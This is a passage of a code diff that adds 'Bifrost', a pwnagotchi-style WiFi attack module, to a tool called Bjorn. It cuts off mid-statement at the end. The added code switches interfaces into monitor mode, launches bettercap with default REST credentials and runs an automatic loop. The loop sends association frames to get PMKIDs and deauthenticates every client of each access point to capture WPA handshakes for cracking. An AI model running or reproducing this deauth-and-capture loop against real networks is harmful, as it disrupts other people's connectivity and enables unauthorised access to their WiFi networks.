'heuristics_bootstrap' if bootstrap_used else 'heuristics', 'port_profile': port_profile, 'ports': list(ports)[:10], 'services': services, - 'all_scores': {k: v for k, v in action_scores.items() if v > 0} + 'bootstrap_used': bootstrap_used, + 'all_scores': {k: round(v, 4) for k, v in action_scores.items() if v > 0} } - + return best_action, best_score, debug_info - + # Ultimate fallback if available_actions: return available_actions[0], 0.1, {'method': 'fallback_first'} - + return None, 0.0, {'method': 'no_actions'} - + except Exception as e: logger.error(f"Heuristic prediction failed: {e}") if available_actions: @@ -824,7 +1072,7 @@ class BjornAIEngine: 'heuristics_available': True, 'decision_mode': 'neural_network' if self.model_loaded else 'heuristics' } - + if self.model_loaded and self.model_config: stats.update({ 'model_version': self.model_config.get('version'), @@ -832,7 +1080,13 @@ class BjornAIEngine: 'model_accuracy': self.model_config.get('accuracy'), 'training_samples': self.model_config.get('training_samples') }) - + + # AI-03: Include model versioning info + stats['model_info'] = self.get_model_info() + + # AI-04: Include bootstrap stats + stats['bootstrap_entries'] = len(self._bootstrap_scores) + return stats diff --git a/bifrost/__init__.py b/bifrost/__init__.py new file mode 100644 index 0000000..07ad3ca --- /dev/null +++ b/bifrost/__init__.py @@ -0,0 +1,585 @@ +""" +Bifrost — Pwnagotchi-compatible WiFi recon engine for Bjorn. +Runs as a daemon thread alongside MANUAL/AUTO/AI modes. +""" +import os +import time +import subprocess +import threading +import logging + +from logger import Logger + +logger = Logger(name="bifrost", level=logging.DEBUG) + + +class BifrostEngine: + """Main Bifrost lifecycle manager. + + Manages the bettercap subprocess and BifrostAgent daemon loop. + Pattern follows SentinelEngine (sentinel.py). + """ + + def __init__(self, shared_data): + self.shared_data = shared_data + self._thread = None + self._stop_event = threading.Event() + self._running = False + self._bettercap_proc = None + self._monitor_torn_down = False + self._monitor_failed = False + self.agent = None + + @property + def enabled(self): + return bool(self.shared_data.config.get('bifrost_enabled', False)) + + def start(self): + """Start the Bifrost engine (bettercap + agent loop).""" + if self._running: + logger.warning("Bifrost already running") + return + + # Wait for any previous thread to finish before re-starting + if self._thread and self._thread.is_alive(): + logger.warning("Previous Bifrost thread still running — waiting ...") + self._stop_event.set() + self._thread.join(timeout=15) + + logger.info("Starting Bifrost engine ...") + self._stop_event.clear() + self._running = True + self._monitor_failed = False + self._monitor_torn_down = False + + self._thread = threading.Thread( + target=self._loop, daemon=True, name="BifrostEngine" + ) + self._thread.start() + + def stop(self): + """Stop the Bifrost engine gracefully. + + Signals the daemon loop to exit, then waits for it to finish. + The loop's finally block handles bettercap shutdown and monitor teardown. + """ + if not self._running: + return + + logger.info("Stopping Bifrost engine ...") + self._stop_event.set() + self._running = False + + if self._thread and self._thread.is_alive(): + self._thread.join(timeout=15) + self._thread = None + self.agent = None + + # Safety net: teardown is idempotent, so this is a no-op if + # _loop()'s finally already ran it. + self._stop_bettercap() + self._teardown_monitor_mode() + logger.info("Bifrost engine stopped") + + def _loop(self): + """Main daemon loop — setup monitor mode, start bettercap, create agent, run recon cycle.""" + try: + # Install compatibility shim for pwnagotchi plugins + from bifrost import plugins as bfplugins + from bifrost.compat import install_shim + install_shim(self.shared_data, bfplugins) + + # Setup monitor mode on the WiFi interface + self._setup_monitor_mode() + + if self._monitor_failed: + logger.error( + "Monitor mode setup failed — Bifrost cannot operate without monitor " + "mode. For Broadcom chips (Pi Zero W/2W), install nexmon: " + "https://github.com/seemoo-lab/nexmon — " + "Or use an external USB WiFi adapter with monitor mode support.") + # Teardown first (restores network services) BEFORE switching mode, + # so the orchestrator doesn't start scanning on a dead network. + self._teardown_monitor_mode() + self._running = False + # Now switch mode back to AUTO — the network should be restored. + # We set the flag directly FIRST (bypass setter to avoid re-stopping), + # then ensure manual_mode/ai_mode are cleared so getter returns AUTO. + try: + self.shared_data.config["bifrost_enabled"] = False + self.shared_data.config["manual_mode"] = False + self.shared_data.config["ai_mode"] = False + self.shared_data.manual_mode = False + self.shared_data.ai_mode = False + self.shared_data.invalidate_config_cache() + logger.info("Bifrost auto-disabled due to monitor mode failure — mode: AUTO") + except Exception: + pass + return + + # Start bettercap + self._start_bettercap() + self._stop_event.wait(3) # Give bettercap time to initialize + if self._stop_event.is_set(): + return + + # Create agent (pass stop_event so its threads exit cleanly) + from bifrost.agent import BifrostAgent + self.agent = BifrostAgent(self.shared_data, stop_event=self._stop_event) + + # Load plugins + bfplugins.load(self.shared_data.config) + + # Initialize agent + self.agent.start() + + logger.info("Bifrost agent started — entering recon cycle") + + # Main recon loop (port of do_auto_mode from pwnagotchi) + while not self._stop_event.is_set(): + try: + # Full spectrum scan + self.agent.recon() + + if self._stop_event.is_set(): + break + + # Get APs grouped by channel + channels = self.agent.get_access_points_by_channel() + + # For each channel + for ch, aps in channels: + if self._stop_event.is_set(): + break + + self.agent.set_channel(ch) + + # For each AP on this channel + for ap in aps: + if self._stop_event.is_set(): + break + + # Send association frame for PMKID + self.agent.associate(ap) + + # Deauth all clients for full handshake + for sta in ap.get('clients', []): + if self._stop_event.is_set(): + break + self.agent.deauth(ap, sta) + + if not self._stop_event.is_set(): + self.agent.next_epoch() + + except Exception as e: + if 'wifi.interface not set' in str(e): + logger.error("WiFi interface lost: %s", e) + self._stop_event.wait(60) + if not self._stop_event.is_set(): + self.agent.next_epoch() + else: + logger.error("Recon loop error: %s", e) + self._stop_event.wait(5) + + except Exception as e: + logger.error("Bifrost engine fatal error: %s", e) + finally: + from bifrost import plugins as bfplugins + bfplugins.shutdown() + self._stop_bettercap() + self._teardown_monitor_mode() + self._running = False + + # ── Monitor mode management ───────────────────────── + + # ── Nexmon helpers ──────────────────────────────────── + + @staticmethod + def _has_nexmon(): + """Check if nexmon firmware patches are installed.""" + import shutil + if not shutil.which('nexutil'): + return False + # Verify patched firmware via dmesg + try: + r = subprocess.run( + ['dmesg'], capture_output=True, text=True, timeout=5) + if 'nexmon' in r.stdout.lower(): + return True + except Exception: + pass + # nexutil exists — assume usable even without dmesg confirmation + return True + + @staticmethod + def _is_brcmfmac(iface): + """Check if the interface uses the brcmfmac driver (Broadcom).""" + driver_path = '/sys/class/net/%s/device/driver' % iface + try: + real = os.path.realpath(driver_path) + return 'brcmfmac' in real + except Exception: + return False + + def _detect_phy(self, iface): + """Detect the phy name for a given interface (e.g. 'phy0').""" + try: + r = subprocess.run( + ['iw', 'dev', iface, 'info'], + capture_output=True, text=True, timeout=5) + for line in r.stdout.splitlines(): + if 'wiphy' in line: + idx = line.strip().split()[-1] + return 'phy%s' % idx + except Exception: + pass + return 'phy0' + + def _setup_monitor_mode(self): + """Put the WiFi interface into monitor mode. + + Strategy order: + 1. Nexmon — for Broadcom brcmfmac chips (Pi Zero W / Pi Zero 2 W) + Uses: iw phy interface add mon0 type monitor + nexutil -m2 + 2. airmon-ng — for chipsets with proper driver support (Atheros, Realtek, etc.) + 3. iw — direct fallback for other drivers + """ + self._monitor_torn_down = False + self._nexmon_used = False + cfg = self.shared_data.config + iface = cfg.get('bifrost_iface', 'wlan0mon') + + # If configured iface already ends with 'mon', derive the base name + if iface.endswith('mon'): + base_iface = iface[:-3] # e.g. 'wlan0mon' -> 'wlan0' + else: + base_iface = iface + + # Store original interface name for teardown + self._base_iface = base_iface + self._mon_iface = iface + + # Check if a monitor interface already exists + if iface != base_iface and self._iface_exists(iface): + logger.info("Monitor interface %s already exists", iface) + return + + # ── Strategy 1: Nexmon (Broadcom brcmfmac) ──────────────── + if self._is_brcmfmac(base_iface): + logger.info("Broadcom brcmfmac chip detected on %s", base_iface) + if self._has_nexmon(): + if self._setup_nexmon(base_iface, cfg): + return + # nexmon setup failed — don't try other strategies, they won't work either + self._monitor_failed = True + return + else: + logger.error( + "Broadcom brcmfmac chip requires nexmon firmware patches for " + "monitor mode. Install nexmon manually using install_nexmon.sh " + "or visit: https://github.com/seemoo-lab/nexmon") + self._monitor_failed = True + return + + # ── Strategy 2: airmon-ng (Atheros, Realtek, etc.) ──────── + airmon_ok = False + try: + logger.info("Killing interfering processes ...") + subprocess.run( + ['airmon-ng', 'check', 'kill'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, + timeout=15, + ) + logger.info("Starting monitor mode: airmon-ng start %s", base_iface) + result = subprocess.run( + ['airmon-ng', 'start', base_iface], + capture_output=True, text=True, timeout=30, + ) + combined = (result.stdout + result.stderr).strip() + logger.info("airmon-ng output: %s", combined) + + if 'Operation not supported' in combined or 'command failed' in combined: + logger.warning("airmon-ng failed: %s", combined) + else: + # airmon-ng may rename the interface (wlan0 -> wlan0mon) + if self._iface_exists(iface): + logger.info("Monitor mode active: %s", iface) + airmon_ok = True + elif self._iface_exists(base_iface): + logger.info("Interface %s is now in monitor mode (no rename)", base_iface) + cfg['bifrost_iface'] = base_iface + self._mon_iface = base_iface + airmon_ok = True + + if airmon_ok: + return + except FileNotFoundError: + logger.warning("airmon-ng not found, trying iw fallback ...") + except Exception as e: + logger.warning("airmon-ng failed: %s, trying iw fallback ...", e) + + # ── Strategy 3: iw (direct fallback) ────────────────────── + try: + subprocess.run( + ['ip', 'link', 'set', base_iface, 'down'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10, + ) + result = subprocess.run( + ['iw', 'dev', base_iface, 'set', 'type', 'monitor'], + capture_output=True, text=True, timeout=10, + ) + if result.returncode != 0: + err = result.stderr.strip() + logger.error("iw set monitor failed (rc=%d): %s", result.returncode, err) + self._monitor_failed = True + subprocess.run( + ['ip', 'link', 'set', base_iface, 'up'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10, + ) + return + subprocess.run( + ['ip', 'link', 'set', base_iface, 'up'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10, + ) + logger.info("Monitor mode set via iw on %s", base_iface) + cfg['bifrost_iface'] = base_iface + self._mon_iface = base_iface + except Exception as e: + logger.error("Failed to set monitor mode: %s", e) + self._monitor_failed = True + + def _setup_nexmon(self, base_iface, cfg): + """Enable monitor mode using nexmon (for Broadcom brcmfmac chips). + + Creates a separate monitor interface (mon0) so wlan0 can potentially + remain usable for management traffic (like pwnagotchi does). + + Returns True on success, False on failure. + """ + mon_iface = 'mon0' + phy = self._detect_phy(base_iface) + logger.info("Nexmon: setting up monitor mode on %s (phy=%s)", base_iface, phy) + + try: + # Kill interfering services (same as pwnagotchi) + for svc in ('wpa_supplicant', 'NetworkManager', 'dhcpcd'): + subprocess.run( + ['systemctl', 'stop', svc], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10, + ) + + # Remove old mon0 if it exists + if self._iface_exists(mon_iface): + subprocess.run( + ['iw', 'dev', mon_iface, 'del'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=5, + ) + + # Create monitor interface via iw phy + result = subprocess.run( + ['iw', 'phy', phy, 'interface', 'add', mon_iface, 'type', 'monitor'], + capture_output=True, text=True, timeout=10, + ) + if result.returncode != 0: + logger.error("Failed to create %s: %s", mon_iface, result.stderr.strip()) + return False + + # Bring monitor interface up + subprocess.run( + ['ifconfig', mon_iface, 'up'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10, + ) + + # Enable monitor mode with radiotap headers via nexutil + result = subprocess.run( + ['nexutil', '-m2'], + capture_output=True, text=True, timeout=10, + ) + if result.returncode != 0: + logger.warning("nexutil -m2 returned rc=%d: %s", result.returncode, result.stderr.strip()) + + # Verify + verify = subprocess.run( + ['nexutil', '-m'], + capture_output=True, text=True, timeout=5, + ) + mode_val = verify.stdout.strip() + logger.info("nexutil -m reports: %s", mode_val) + + if not self._iface_exists(mon_iface): + logger.error("Monitor interface %s not created", mon_iface) + return False + + # Success — update config to use mon0 + cfg['bifrost_iface'] = mon_iface + self._mon_iface = mon_iface + self._nexmon_used = True + logger.info("Nexmon monitor mode active on %s (phy=%s)", mon_iface, phy) + return True + + except FileNotFoundError as e: + logger.error("Required tool not found: %s", e) + return False + except Exception as e: + logger.error("Nexmon setup error: %s", e) + return False + + def _teardown_monitor_mode(self): + """Restore the WiFi interface to managed mode (idempotent).""" + if self._monitor_torn_down: + return + base_iface = getattr(self, '_base_iface', None) + mon_iface = getattr(self, '_mon_iface', None) + if not base_iface: + return + self._monitor_torn_down = True + + logger.info("Restoring managed mode for %s ...", base_iface) + + if getattr(self, '_nexmon_used', False): + # ── Nexmon teardown ── + try: + subprocess.run( + ['nexutil', '-m0'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=5, + ) + logger.info("Nexmon monitor mode disabled (nexutil -m0)") + except Exception: + pass + # Remove the mon0 interface + if mon_iface and mon_iface != base_iface and self._iface_exists(mon_iface): + try: + subprocess.run( + ['iw', 'dev', mon_iface, 'del'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=5, + ) + logger.info("Removed monitor interface %s", mon_iface) + except Exception: + pass + else: + # ── airmon-ng / iw teardown ── + try: + iface_to_stop = mon_iface or base_iface + subprocess.run( + ['airmon-ng', 'stop', iface_to_stop], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, + timeout=15, + ) + logger.info("Monitor mode stopped via airmon-ng") + except FileNotFoundError: + try: + subprocess.run( + ['ip', 'link', 'set', base_iface, 'down'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10, + ) + subprocess.run( + ['iw', 'dev', base_iface, 'set', 'type', 'managed'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10, + ) + subprocess.run( + ['ip', 'link', 'set', base_iface, 'up'], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=10, + ) + logger.info("Managed mode restored via iw on %s", base_iface) + except Exception as e: + logger.error("Failed to restore managed mode: %s", e) + except Exception as e: + logger.warning("airmon-ng stop failed: %s", e) + + # Restart network services that were killed + restarted = False + for svc in ('wpa_supplicant', 'dhcpcd', 'NetworkManager'): + try: + subprocess.run( + ['systemctl', 'start', svc], + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=15, + ) + restarted = True + except Exception: + pass + + # Wait for network services to actually reconnect before handing + # control back so the orchestrator doesn't scan a dead interface. + if restarted: + logger.info("Waiting for network services to reconnect ...") + time.sleep(5) + + @staticmethod + def _iface_exists(iface_name): + """Check if a network interface exists.""" + return os.path.isdir('/sys/class/net/%s' % iface_name) + + # ── Bettercap subprocess management ──────────────── + + def _start_bettercap(self): + """Spawn bettercap subprocess with REST API.""" + cfg = self.shared_data.config + iface = cfg.get('bifrost_iface', 'wlan0mon') + host = cfg.get('bifrost_bettercap_host', '127.0.0.1') + port = str(cfg.get('bifrost_bettercap_port', 8081)) + user = cfg.get('bifrost_bettercap_user', 'user') + password = cfg.get('bifrost_bettercap_pass', 'pass') + + cmd = [ + 'bettercap', '-iface', iface, '-no-colors', + '-eval', 'set api.rest.address %s' % host, + '-eval', 'set api.rest.port %s' % port, + '-eval', 'set api.rest.username %s' % user, + '-eval', 'set api.rest.password %s' % password, + '-eval', 'api.rest on', + ] + + logger.info("Starting bettercap: %s", ' '.join(cmd)) + try: + self._bettercap_proc = subprocess.Popen( + cmd, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + ) + logger.info("bettercap PID: %d", self._bettercap_proc.pid) + except FileNotFoundError: + logger.error("bettercap not found! Install with: apt install bettercap") + raise + except Exception as e: + logger.error("Failed to start bettercap: %s", e) + raise + + def _stop_bettercap(self): + """Kill the bettercap subprocess.""" + if self._bettercap_proc: + try: + self._bettercap_proc.terminate() + self._bettercap_proc.wait(timeout=5) + except subprocess.TimeoutExpired: + self._bettercap_proc.kill() + except Exception: + pass + self._bettercap_proc = None + logger.info("bettercap stopped") + + # ── Status for web API ──────────────────────────────── + + def get_status(self): + """Return full engine status for web API.""" + base = { + 'enabled': self.enabled, + 'running': self._running, + 'monitor_failed': self._monitor_failed, + } + if self.agent and self._running: + base.update(self.agent.get_status()) + else: + base.update({ + 'mood': 'sleeping', + 'face': '(-.-) zzZ', + 'voice': '', + 'channel': 0, + 'num_aps': 0, + 'num_handshakes': 0, + 'uptime': 0, + 'epoch': 0, + 'mode': 'auto', + 'last_pwnd': '', + 'reward': 0, + }) + return base diff --git a/bifrost/agent.py b/bifrost/agent.py new file mode 100644 index 0000000..0adbb33 --- /dev/null +++ b/bifrost/agent.py @@ -0,0 +1,568 @@ +""" +Bifrost — WiFi recon agent. +Ported from pwnagotchi/agent.py using composition instead of inheritance. +""" +import time +import json +import os +import re +import asyncio +import threading +import logging + +from bifrost.bettercap import BettercapClient +from bifrost.automata import BifrostAutomata +from bifrost.epoch import BifrostEpoch +from bifrost.voice import BifrostVoice +from bifrost import plugins + +from logger import Logger + +logger = Logger(name="bifrost.agent", level=logging.DEBUG) + + +class BifrostAgent: + """WiFi recon agent — drives bettercap, captures handshakes, tracks epochs.""" + + def __init__(self, shared_data, stop_event=None): + self.shared_data = shared_data + self._config = shared_data.config + self.db = shared_data.db + self._stop_event = stop_event or threading.Event() + + # Sub-systems + cfg = self._config + self.bettercap = BettercapClient( + hostname=cfg.get('bifrost_bettercap_host', '127.0.0.1'), + scheme='http', + port=int(cfg.get('bifrost_bettercap_port', 8081)), + username=cfg.get('bifrost_bettercap_user', 'user'), + password=cfg.get('bifrost_bettercap_pass', 'pass'), + ) + self.automata = BifrostAutomata(cfg) + self.epoch = BifrostEpoch(cfg) + self.voice = BifrostVoice() + + self._started_at = time.time() + self._filter = None + flt = cfg.get('bifrost_filter', '') + if flt: + try: + self._filter = re.compile(flt) + except re.error: + logger.warning("Invalid bifrost_filter regex: %s", flt) + + self._current_channel = 0 + self._tot_aps = 0 + self._aps_on_channel = 0 + self._supported_channels = list(range(1, 15)) + + self._access_points = [] + self._last_pwnd = None + self._history = {} + self._handshakes = {} + self.mode = 'auto' + + # Whitelist + self._whitelist = [ + w.strip().lower() for w in + str(cfg.get('bifrost_whitelist', '')).split(',') if w.strip() + ] + # Channels + self._channels = [ + int(c.strip()) for c in + str(cfg.get('bifrost_channels', '')).split(',') if c.strip() + ] + + # Ensure handshakes dir + hs_dir = cfg.get('bifrost_bettercap_handshakes', '/root/bifrost/handshakes') + if hs_dir and not os.path.exists(hs_dir): + try: + os.makedirs(hs_dir, exist_ok=True) + except OSError: + pass + + # ── Lifecycle ───────────────────────────────────────── + + def start(self): + """Initialize bettercap, start monitor mode, begin event polling.""" + self._wait_bettercap() + self.setup_events() + self.automata.set_starting() + self._log_activity('system', 'Bifrost starting', self.voice.on_starting()) + self.start_monitor_mode() + self.start_event_polling() + self.start_session_fetcher() + self.next_epoch() + self.automata.set_ready() + self._log_activity('system', 'Bifrost ready', self.voice.on_ready()) + + def setup_events(self): + """Silence noisy bettercap events.""" + logger.info("connecting to %s ...", self.bettercap.url) + silence = [ + 'ble.device.new', 'ble.device.lost', 'ble.device.disconnected', + 'ble.device.connected', 'ble.device.service.discovered', + 'ble.device.characteristic.discovered', + 'mod.started', 'mod.stopped', 'update.available', + 'session.closing', 'session.started', + ] + for tag in silence: + try: + self.bettercap.run('events.ignore %s' % tag, verbose_errors=False) + except Exception: + pass + + def _reset_wifi_settings(self): + iface = self._config.get('bifrost_iface', 'wlan0mon') + self.bettercap.run('set wifi.interface %s' % iface) + self.bettercap.run('set wifi.ap.ttl %d' % self._config.get('bifrost_personality_ap_ttl', 120)) + self.bettercap.run('set wifi.sta.ttl %d' % self._config.get('bifrost_personality_sta_ttl', 300)) + self.bettercap.run('set wifi.rssi.min %d' % self._config.get('bifrost_personality_min_rssi', -200)) + hs_dir = self._config.get('bifrost_bettercap_handshakes', '/root/bifrost/handshakes') + self.bettercap.run('set wifi.handshakes.file %s' % hs_dir) + self.bettercap.run('set wifi.handshakes.aggregate false') + + def start_monitor_mode(self): + """Wait for monitor interface and start wifi.recon.""" + iface = self._config.get('bifrost_iface', 'wlan0mon') + has_mon = False + retries = 0 + + while not has_mon and retries < 30 and not self._stop_event.is_set(): + try: + s = self.bettercap.session() + for i in s.get('interfaces', []): + if i['name'] == iface: + logger.info("found monitor interface: %s", i['name']) + has_mon = True + break + except Exception: + pass + + if not has_mon: + logger.info("waiting for monitor interface %s ... (%d)", iface, retries) + self._stop_event.wait(2) + retries += 1 + + if not has_mon: + logger.warning("monitor interface %s not found after %d retries", iface, retries) + + # Detect supported channels + try: + from bifrost.compat import _build_utils_shim + self._supported_channels = _build_utils_shim(self.shared_data).iface_channels(iface) + except Exception: + self._supported_channels = list(range(1, 15)) + + logger.info("supported channels: %s", self._supported_channels) + self._reset_wifi_settings() + + # Start wifi recon + try: + wifi_running = self._is_module_running('wifi') + if wifi_running: + self.bettercap.run('wifi.recon off; wifi.recon on') + self.bettercap.run('wifi.clear') + else: + self.bettercap.run('wifi.recon on') + except Exception as e: + err_msg = str(e) + if 'Operation not supported' in err_msg or 'EOPNOTSUPP' in err_msg: + logger.error( + "wifi.recon failed: %s — Your WiFi chip likely does NOT support " + "monitor mode. The built-in Broadcom chip on Raspberry Pi Zero/Zero 2 " + "has limited monitor mode support. Use an external USB WiFi adapter " + "(e.g. Alfa AWUS036ACH, Panda PAU09) that supports monitor mode and " + "packet injection.", e) + self._log_activity('error', + 'WiFi chip does not support monitor mode', + 'Use an external USB WiFi adapter with monitor mode support') + else: + logger.error("Error starting wifi.recon: %s", e) + + def _wait_bettercap(self): + retries = 0 + while retries < 30 and not self._stop_event.is_set(): + try: + self.bettercap.session() + return + except Exception: + logger.info("waiting for bettercap API ...") + self._stop_event.wait(2) + retries += 1 + if not self._stop_event.is_set(): + raise Exception("bettercap API not available after 60s") + + def _is_module_running(self, module): + try: + s = self.bettercap.session() + for m in s.get('modules', []): + if m['name'] == module: + return m['running'] + except Exception: + pass + return False + + # ── Recon cycle ─────────────────────────────────────── + + def recon(self): + """Full-spectrum WiFi scan for recon_time seconds.""" + recon_time = self._config.get('bifrost_personality_recon_time', 30) + max_inactive = 3 + recon_mul = 2 + + if self.epoch.inactive_for >= max_inactive: + recon_time *= recon_mul + + self._current_channel = 0 + + if not self._channels: + logger.debug("RECON %ds (all channels)", recon_time) + try: + self.bettercap.run('wifi.recon.channel clear') + except Exception: + pass + else: + ch_str = ','.join(map(str, self._channels)) + logger.debug("RECON %ds on channels %s", recon_time, ch_str) + try: + self.bettercap.run('wifi.recon.channel %s' % ch_str) + except Exception as e: + logger.error("Error setting recon channels: %s", e) + + self.automata.wait_for(recon_time, self.epoch, sleeping=False, + stop_event=self._stop_event) + + def _filter_included(self, ap): + if self._filter is None: + return True + return (self._filter.match(ap.get('hostname', '')) is not None or + self._filter.match(ap.get('mac', '')) is not None) + + def get_access_points(self): + """Fetch APs from bettercap, filter whitelist and open networks.""" + aps = [] + try: + s = self.bettercap.session() + plugins.on("unfiltered_ap_list", s.get('wifi', {}).get('aps', [])) + for ap in s.get('wifi', {}).get('aps', []): + enc = ap.get('encryption', '') + if enc == '' or enc == 'OPEN': + continue + hostname = ap.get('hostname', '').lower() + mac = ap.get('mac', '').lower() + prefix = mac[:8] + if (hostname not in self._whitelist and + mac not in self._whitelist and + prefix not in self._whitelist): + if self._filter_included(ap): + aps.append(ap) + except Exception as e: + logger.error("Error getting APs: %s", e) + + aps.sort(key=lambda a: a.get('channel', 0)) + self._access_points = aps + plugins.on('wifi_update', aps) + self.epoch.observe(aps, list(self.automata.peers.values())) + + # Update DB with discovered networks + self._persist_networks(aps) + return aps + + def get_access_points_by_channel(self): + """Get APs grouped by channel, sorted by density.""" + aps = self.get_access_points() + grouped = {} + for ap in aps: + ch = ap.get('channel', 0) + if self._channels and ch not in self._channels: + continue + grouped.setdefault(ch, []).append(ap) + return sorted(grouped.items(), key=lambda kv: len(kv[1]), reverse=True) + + # ── Actions ─────────────────────────────────────────── + + def _should_interact(self, who): + if self._has_handshake(who): + return False + if who not in self._history: + self._history[who] = 1 + return True + self._history[who] += 1 + max_int = self._config.get('bifrost_personality_max_interactions', 3) + return self._history[who] < max_int + + def _has_handshake(self, bssid): + for key in self._handshakes: + if bssid.lower() in key: + return True + return False + + def associate(self, ap, throttle=0): + """Send association frame to trigger PMKID.""" + if self.automata.is_stale(self.epoch): + return + if (self._config.get('bifrost_personality_associate', True) and + self._should_interact(ap.get('mac', ''))): + try: + hostname = ap.get('hostname', ap.get('mac', '?')) + logger.info("ASSOC %s (%s) ch=%d rssi=%d", + hostname, ap.get('mac', ''), ap.get('channel', 0), ap.get('rssi', 0)) + self.bettercap.run('wifi.assoc %s' % ap['mac']) + self.epoch.track(assoc=True) + self._log_activity('assoc', 'Association: %s' % hostname, + self.voice.on_assoc(hostname)) + except Exception as e: + self.automata.on_error(ap.get('mac', ''), e) + plugins.on('association', ap) + if throttle > 0: + time.sleep(throttle) + + def deauth(self, ap, sta, throttle=0): + """Deauthenticate client to capture handshake.""" + if self.automata.is_stale(self.epoch): + return + if (self._config.get('bifrost_personality_deauth', True) and + self._should_interact(sta.get('mac', ''))): + try: + logger.info("DEAUTH %s (%s) from %s ch=%d", + sta.get('mac', ''), sta.get('vendor', ''), + ap.get('hostname', ap.get('mac', '')), ap.get('channel', 0)) + self.bettercap.run('wifi.deauth %s' % sta['mac']) + self.epoch.track(deauth=True) + self._log_activity('deauth', 'Deauth: %s' % sta.get('mac', ''), + self.voice.on_deauth(sta.get('mac', ''))) + except Exception as e: + self.automata.on_error(sta.get('mac', ''), e) + plugins.on('deauthentication', ap, sta) + if throttle > 0: + time.sleep(throttle) + + def set_channel(self, channel, verbose=True): + """Hop to a specific WiFi channel.""" + if self.automata.is_stale(self.epoch): + return + wait = 0 + if self.epoch.did_deauth: + wait = self._config.get('bifrost_personality_hop_recon_time', 10) + elif self.epoch.did_associate: + wait = self._config.get('bifrost_personality_min_recon_time', 5) + + if channel != self._current_channel: + if self._current_channel != 0 and wait > 0: + logger.debug("waiting %ds on channel %d", wait, self._current_channel) + self.automata.wait_for(wait, self.epoch, stop_event=self._stop_event) + try: + self.bettercap.run('wifi.recon.channel %d' % channel) + self._current_channel = channel + self.epoch.track(hop=True) + plugins.on('channel_hop', channel) + except Exception as e: + logger.error("Error setting channel: %s", e) + + def next_epoch(self): + """Transition to next epoch — evaluate mood.""" + self.automata.next_epoch(self.epoch) + # Persist epoch to DB + data = self.epoch.data() + self._persist_epoch(data) + self._log_activity('epoch', 'Epoch %d' % (self.epoch.epoch - 1), + self.voice.on_epoch(self.epoch.epoch - 1)) + + # ── Event polling ───────────────────────────────────── + + def start_event_polling(self): + """Start event listener in background thread. + + Tries websocket first; falls back to REST polling if the + ``websockets`` package is not installed. + """ + t = threading.Thread(target=self._event_poller, daemon=True, name="BifrostEvents") + t.start() + + def _event_poller(self): + try: + self.bettercap.run('events.clear') + except Exception: + pass + + # Probe once whether websockets is available + try: + import websockets # noqa: F401 + has_ws = True + except ImportError: + has_ws = False + logger.warning("websockets package not installed — using REST event polling " + "(pip install websockets for real-time events)") + + if has_ws: + self._ws_event_loop() + else: + self._rest_event_loop() + + def _ws_event_loop(self): + """Websocket-based event listener (preferred).""" + loop = asyncio.new_event_loop() + asyncio.set_event_loop(loop) + while not self._stop_event.is_set(): + try: + loop.run_until_complete(self.bettercap.start_websocket( + self._on_event, self._stop_event)) + except Exception as ex: + if self._stop_event.is_set(): + break + logger.debug("Event poller error: %s", ex) + self._stop_event.wait(5) + loop.close() + + def _rest_event_loop(self): + """REST-based fallback event poller — polls /api/events every 2s.""" + while not self._stop_event.is_set(): + try: + events = self.bettercap.events() + for ev in (events or []): + tag = ev.get('tag', '') + if tag == 'wifi.client.handshake': + # Build a fake websocket message for the existing handler + import asyncio as _aio + _loop = _aio.new_event_loop() + _loop.run_until_complete(self._on_event(json.dumps(ev))) + _loop.close() + except Exception as ex: + logger.debug("REST event poll error: %s", ex) + self._stop_event.wait(2) + + async def _on_event(self, msg): + """Handle bettercap websocket events.""" + try: + jmsg = json.loads(msg) + except json.JSONDecodeError: + return + + if jmsg.get('tag') == 'wifi.client.handshake': + filename = jmsg.get('data', {}).get('file', '') + sta_mac = jmsg.get('data', {}).get('station', '') + ap_mac = jmsg.get('data', {}).get('ap', '') + key = "%s -> %s" % (sta_mac, ap_mac) + + if key not in self._handshakes: + self._handshakes[key] = jmsg + self._last_pwnd = ap_mac + + # Find AP info + ap_name = ap_mac + try: + s = self.bettercap.session() + for ap in s.get('wifi', {}).get('aps', []): + if ap.get('mac') == ap_mac: + if ap.get('hostname') and ap['hostname'] != '': + ap_name = ap['hostname'] + break + except Exception: + pass + + logger.warning("!!! HANDSHAKE: %s -> %s !!!", sta_mac, ap_name) + self.epoch.track(handshake=True) + self._persist_handshake(ap_mac, sta_mac, ap_name, filename) + self._log_activity('handshake', + 'Handshake: %s' % ap_name, + self.voice.on_handshakes(1)) + plugins.on('handshake', filename, ap_mac, sta_mac) + + def start_session_fetcher(self): + """Start background thread that polls bettercap for stats.""" + t = threading.Thread(target=self._fetch_stats, daemon=True, name="BifrostStats") + t.start() + + def _fetch_stats(self): + while not self._stop_event.is_set(): + try: + s = self.bettercap.session() + self._tot_aps = len(s.get('wifi', {}).get('aps', [])) + except Exception: + pass + self._stop_event.wait(2) + + # ── Status for web API ──────────────────────────────── + + def get_status(self): + """Return current agent state for the web API.""" + return { + 'mood': self.automata.mood, + 'face': self.automata.face, + 'voice': self.automata.voice_text, + 'channel': self._current_channel, + 'num_aps': self._tot_aps, + 'num_handshakes': len(self._handshakes), + 'uptime': int(time.time() - self._started_at), + 'epoch': self.epoch.epoch, + 'mode': self.mode, + 'last_pwnd': self._last_pwnd or '', + 'reward': self.epoch.data().get('reward', 0), + } + + # ── DB persistence ──────────────────────────────────── + + def _persist_networks(self, aps): + """Upsert discovered networks to DB.""" + for ap in aps: + try: + self.db.execute( + """INSERT INTO bifrost_networks + (bssid, essid, channel, encryption, rssi, 